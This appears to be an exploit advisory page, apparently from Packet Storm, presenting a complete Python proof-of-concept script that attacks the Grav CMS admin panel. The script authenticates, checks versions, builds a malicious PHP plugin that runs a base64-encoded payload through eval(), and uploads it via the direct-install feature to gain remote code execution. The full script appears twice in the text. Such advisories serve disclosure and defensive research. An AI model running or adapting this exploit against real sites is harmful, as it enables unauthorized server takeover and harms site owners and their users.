Description
This script targets a Grav CMS administrative panel by first authenticating, then checking version information to estimate vulnerability exposure. If conditions are met, it generates a malicious PHP plugin containing a base64-encoded payload and...
Basic Information
ID
PACKETSTORM:219679
Published
Apr 23, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Grav CMS 1.7.49.5 Admin Plugin Upload Exploit RCE via Malicious PHP Plugin Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/getgrav/grav |
==================================================================================================================================
[+] Summary : This script targets a Grav CMS admin panel by first authenticating, then checking version information to estimate vulnerability exposure.
If conditions are met, it generates a malicious PHP plugin containing a base64-encoded payload and uploads it as a ZIP package through the βdirect installβ feature.
Once installed, the plugin executes the payload via eval(), leading to remote code execution (RCE) on the server.
[+] POC :
#!/usr/bin/env python3
import requests
import re
import zipfile
import io
import os
import sys
import time
from urllib.parse import urljoin
from html.parser import HTMLParser
import random
import string
import base64
class GravExploit:
def __init__(self, target_url, username, password, payload):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.payload = payload
self.session = requests.Session()
self.plugin_name = None
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0'
})
def check_grav_installation(self, html_content):
grav_checks = [
'data-gpm-grav' in html_content,
'data-grav-field' in html_content,
'data-grav-disabled' in html_content,
'data-grav-default' in html_content
]
return sum(grav_checks) >= 2
def login_form_present(self, html_content):
return 'name="data[username]"' in html_content and 'name="data[password]"' in html_content
def extract_nonce(self, html_content):
nonce_match = re.search(r'name="login-nonce"\s+value="([^"]+)"', html_content)
return nonce_match.group(1) if nonce_match else None
def extract_admin_nonce(self, html_content):
nonce_match = re.search(r'name="admin-nonce"\s+value="([^"]+)"', html_content)
return nonce_match.group(1) if nonce_match else None
def extract_versions(self, html_content):
cms_version = None
admin_version = None
cms_match = re.search(r'<span[^>]*class="grav-version"[^>]*>([^<]+)</span>', html_content)
if cms_match:
cms_version = cms_match.group(1).strip().replace('v', '')
admin_match = re.search(r'Admin v([\d.]+)', html_content)
if admin_match:
admin_version = admin_match.group(1)
return cms_version, admin_version
def version_compare(self, version, target_version):
if not version:
return False
def normalize(v):
return [int(x) for x in v.split('.')]
try:
return normalize(version) <= normalize(target_version)
except:
return False
def check(self):
try:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res:
return "Unknown", "Connection failed"
if res.status_code != 200:
return "Unknown", f"Unexpected response code: {res.status_code}"
if not self.check_grav_installation(res.text):
return "Safe", "Target does not appear to be a Grav installation"
if not self.login_form_present(res.text):
return "Detected", "Grav detected but login form not accessible"
cms_version, admin_version = self.get_versions_after_login()
if not cms_version:
return "Detected", "Grav CMS detected but version could not be determined"
vuln = False
if self.version_compare(cms_version, "1.7.49.5") and not self.version_compare(cms_version, "1.0.9"):
vuln = True
if admin_version and vuln:
if self.version_compare(admin_version, "1.10.49.3") and not self.version_compare(admin_version, "1.0.9"):
return "Appears", f"Grav CMS {cms_version} is vulnerable\nAdmin Plugin v{admin_version} is vulnerable"
if not vuln:
return "Safe", f"Grav CMS {cms_version} is not vulnerable"
return "Safe", f"Admin Plugin v{admin_version} is not vulnerable"
except requests.RequestException as e:
return "Unknown", f"Connection failed: {str(e)}"
def get_versions_after_login(self):
auth_result = self.authenticate()
if auth_result not in ['success', 'already_authenticated']:
return None, None
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res or res.status_code != 200:
return None, None
return self.extract_versions(res.text)
def authenticate(self):
try:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res or res.status_code != 200:
return "connection_failed"
if 'grav-version' in res.text and 'login-nonce' not in res.text:
return "already_authenticated"
nonce = self.extract_nonce(res.text)
if not nonce:
return "connection_failed"
login_data = {
'data[username]': self.username,
'data[password]': self.password,
'task': 'login',
'login-nonce': nonce
}
res = self.session.post(urljoin(self.target_url, '/admin'), data=login_data)
if not res:
return "connection_failed"
if res.status_code in [301, 302, 303]:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res:
return "connection_failed"
if 'name="login-nonce"' in res.text:
return "login_failed"
return "success"
except requests.RequestException:
return "connection_failed"
def login(self):
print("[*] Authenticating...")
result = self.authenticate()
if result == "already_authenticated":
print("[+] Already authenticated")
return True
elif result == "success":
print("[+] Login successful")
return True
elif result == "connection_failed":
print("[-] Connection failed")
return False
elif result == "login_failed":
print("[-] Login failed")
return False
else:
print("[-] Unexpected authentication error")
return False
def generate_php_plugin(self, plugin_name):
b64_payload = base64.b64encode(self.payload.encode()).decode()
class_name = f"{plugin_name.capitalize()}pluginPlugin"
php_code = f'''<?php
namespace Grav\\Plugin;
use Grav\\Common\\Plugin;
class {class_name} extends Plugin
{{
public static function getSubscribedEvents()
{{
return [
'onPagesInitialized' => ['onPagesInitialized', 0]
];
}}
public function onPagesInitialized()
{{
@eval(base64_decode('{b64_payload}'));
}}
}}
'''
return php_code
def build_plugin_zip(self, plugin_name):
php_code = self.generate_php_plugin(plugin_name)
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr(f"{plugin_name}plugin/{plugin_name}plugin.php", php_code)
zip_file.writestr(f"{plugin_name}plugin/blueprints.yaml",
f"name: {plugin_name.capitalize()}\ntype: plugin\nversion: 1.0.0")
zip_file.writestr(f"{plugin_name}plugin/{plugin_name}plugin.yaml",
f"enabled: true")
return zip_buffer.getvalue()
def upload_plugin(self, zip_data, plugin_name):
install_uri = urljoin(self.target_url, '/admin/tools/direct-install')
res = self.session.get(install_uri)
if not res or res.status_code != 200:
print("[-] Failed to fetch install page")
return False
nonce = self.extract_admin_nonce(res.text)
if not nonce:
print("[-] Could not extract admin nonce")
return False
files = {
'uploaded_file': (f'{plugin_name}.zip', zip_data, 'application/zip')
}
data = {
'task': 'directInstall',
'admin-nonce': nonce
}
res = self.session.post(install_uri, data=data, files=files)
if not res:
print("[-] No response during plugin upload")
return False
if res.status_code in [301, 302, 303]:
self.session.get(install_uri)
return True
def exploit(self):
print("[*] Authenticating to Grav admin...")
if not self.login():
return False
plugin_name = (random.choice(string.ascii_lowercase) +
''.join(random.choices(string.ascii_lowercase + string.digits, k=17))).lower()
self.plugin_name = plugin_name
zip_data = self.build_plugin_zip(plugin_name)
if self.upload_plugin(zip_data, plugin_name):
print("[+] Plugin uploaded successfully")
return True
else:
print("[-] Plugin upload failed")
return False
def cleanup(self):
if self.plugin_name:
print("[!] Manual cleanup may be required")
return True
return False
def main():
if len(sys.argv) != 5:
print("Usage: python3 grav_exploit.py <target_url> <username> <password> <payload>")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
payload = sys.argv[4]
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
exploit = GravExploit(target_url, username, password, payload)
print("[*] Checking if target is vulnerable...")
status, message = exploit.check()
if status == "Appears":
print(f"[+] {message}")
if exploit.exploit():
print("[+] Exploitation completed")
exploit.cleanup()
else:
print("[-] Exploitation failed")
else:
print(f"[-] Target not vulnerable: {message}")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Grav CMS 1.7.49.5 Admin Plugin Upload Exploit RCE via Malicious PHP Plugin Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/getgrav/grav |
==================================================================================================================================
[+] Summary : This script targets a Grav CMS admin panel by first authenticating, then checking version information to estimate vulnerability exposure.
If conditions are met, it generates a malicious PHP plugin containing a base64-encoded payload and uploads it as a ZIP package through the βdirect installβ feature.
Once installed, the plugin executes the payload via eval(), leading to remote code execution (RCE) on the server.
[+] POC :
#!/usr/bin/env python3
import requests
import re
import zipfile
import io
import os
import sys
import time
from urllib.parse import urljoin
from html.parser import HTMLParser
import random
import string
import base64
class GravExploit:
def __init__(self, target_url, username, password, payload):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.payload = payload
self.session = requests.Session()
self.plugin_name = None
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0'
})
def check_grav_installation(self, html_content):
grav_checks = [
'data-gpm-grav' in html_content,
'data-grav-field' in html_content,
'data-grav-disabled' in html_content,
'data-grav-default' in html_content
]
return sum(grav_checks) >= 2
def login_form_present(self, html_content):
return 'name="data[username]"' in html_content and 'name="data[password]"' in html_content
def extract_nonce(self, html_content):
nonce_match = re.search(r'name="login-nonce"\s+value="([^"]+)"', html_content)
return nonce_match.group(1) if nonce_match else None
def extract_admin_nonce(self, html_content):
nonce_match = re.search(r'name="admin-nonce"\s+value="([^"]+)"', html_content)
return nonce_match.group(1) if nonce_match else None
def extract_versions(self, html_content):
cms_version = None
admin_version = None
cms_match = re.search(r'<span[^>]*class="grav-version"[^>]*>([^<]+)</span>', html_content)
if cms_match:
cms_version = cms_match.group(1).strip().replace('v', '')
admin_match = re.search(r'Admin v([\d.]+)', html_content)
if admin_match:
admin_version = admin_match.group(1)
return cms_version, admin_version
def version_compare(self, version, target_version):
if not version:
return False
def normalize(v):
return [int(x) for x in v.split('.')]
try:
return normalize(version) <= normalize(target_version)
except:
return False
def check(self):
try:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res:
return "Unknown", "Connection failed"
if res.status_code != 200:
return "Unknown", f"Unexpected response code: {res.status_code}"
if not self.check_grav_installation(res.text):
return "Safe", "Target does not appear to be a Grav installation"
if not self.login_form_present(res.text):
return "Detected", "Grav detected but login form not accessible"
cms_version, admin_version = self.get_versions_after_login()
if not cms_version:
return "Detected", "Grav CMS detected but version could not be determined"
vuln = False
if self.version_compare(cms_version, "1.7.49.5") and not self.version_compare(cms_version, "1.0.9"):
vuln = True
if admin_version and vuln:
if self.version_compare(admin_version, "1.10.49.3") and not self.version_compare(admin_version, "1.0.9"):
return "Appears", f"Grav CMS {cms_version} is vulnerable\nAdmin Plugin v{admin_version} is vulnerable"
if not vuln:
return "Safe", f"Grav CMS {cms_version} is not vulnerable"
return "Safe", f"Admin Plugin v{admin_version} is not vulnerable"
except requests.RequestException as e:
return "Unknown", f"Connection failed: {str(e)}"
def get_versions_after_login(self):
auth_result = self.authenticate()
if auth_result not in ['success', 'already_authenticated']:
return None, None
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res or res.status_code != 200:
return None, None
return self.extract_versions(res.text)
def authenticate(self):
try:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res or res.status_code != 200:
return "connection_failed"
if 'grav-version' in res.text and 'login-nonce' not in res.text:
return "already_authenticated"
nonce = self.extract_nonce(res.text)
if not nonce:
return "connection_failed"
login_data = {
'data[username]': self.username,
'data[password]': self.password,
'task': 'login',
'login-nonce': nonce
}
res = self.session.post(urljoin(self.target_url, '/admin'), data=login_data)
if not res:
return "connection_failed"
if res.status_code in [301, 302, 303]:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res:
return "connection_failed"
if 'name="login-nonce"' in res.text:
return "login_failed"
return "success"
except requests.RequestException:
return "connection_failed"
def login(self):
print("[*] Authenticating...")
result = self.authenticate()
if result == "already_authenticated":
print("[+] Already authenticated")
return True
elif result == "success":
print("[+] Login successful")
return True
elif result == "connection_failed":
print("[-] Connection failed")
return False
elif result == "login_failed":
print("[-] Login failed")
return False
else:
print("[-] Unexpected authentication error")
return False
def generate_php_plugin(self, plugin_name):
b64_payload = base64.b64encode(self.payload.encode()).decode()
class_name = f"{plugin_name.capitalize()}pluginPlugin"
php_code = f'''<?php
namespace Grav\\Plugin;
use Grav\\Common\\Plugin;
class {class_name} extends Plugin
{{
public static function getSubscribedEvents()
{{
return [
'onPagesInitialized' => ['onPagesInitialized', 0]
];
}}
public function onPagesInitialized()
{{
@eval(base64_decode('{b64_payload}'));
}}
}}
'''
return php_code
def build_plugin_zip(self, plugin_name):
php_code = self.generate_php_plugin(plugin_name)
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr(f"{plugin_name}plugin/{plugin_name}plugin.php", php_code)
zip_file.writestr(f"{plugin_name}plugin/blueprints.yaml",
f"name: {plugin_name.capitalize()}\ntype: plugin\nversion: 1.0.0")
zip_file.writestr(f"{plugin_name}plugin/{plugin_name}plugin.yaml",
f"enabled: true")
return zip_buffer.getvalue()
def upload_plugin(self, zip_data, plugin_name):
install_uri = urljoin(self.target_url, '/admin/tools/direct-install')
res = self.session.get(install_uri)
if not res or res.status_code != 200:
print("[-] Failed to fetch install page")
return False
nonce = self.extract_admin_nonce(res.text)
if not nonce:
print("[-] Could not extract admin nonce")
return False
files = {
'uploaded_file': (f'{plugin_name}.zip', zip_data, 'application/zip')
}
data = {
'task': 'directInstall',
'admin-nonce': nonce
}
res = self.session.post(install_uri, data=data, files=files)
if not res:
print("[-] No response during plugin upload")
return False
if res.status_code in [301, 302, 303]:
self.session.get(install_uri)
return True
def exploit(self):
print("[*] Authenticating to Grav admin...")
if not self.login():
return False
plugin_name = (random.choice(string.ascii_lowercase) +
''.join(random.choices(string.ascii_lowercase + string.digits, k=17))).lower()
self.plugin_name = plugin_name
zip_data = self.build_plugin_zip(plugin_name)
if self.upload_plugin(zip_data, plugin_name):
print("[+] Plugin uploaded successfully")
return True
else:
print("[-] Plugin upload failed")
return False
def cleanup(self):
if self.plugin_name:
print("[!] Manual cleanup may be required")
return True
return False
def main():
if len(sys.argv) != 5:
print("Usage: python3 grav_exploit.py <target_url> <username> <password> <payload>")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
payload = sys.argv[4]
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
exploit = GravExploit(target_url, username, password, payload)
print("[*] Checking if target is vulnerable...")
status, message = exploit.check()
if status == "Appears":
print(f"[+] {message}")
if exploit.exploit():
print("[+] Exploitation completed")
exploit.cleanup()
else:
print("[-] Exploitation failed")
else:
print(f"[-] Target not vulnerable: {message}")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================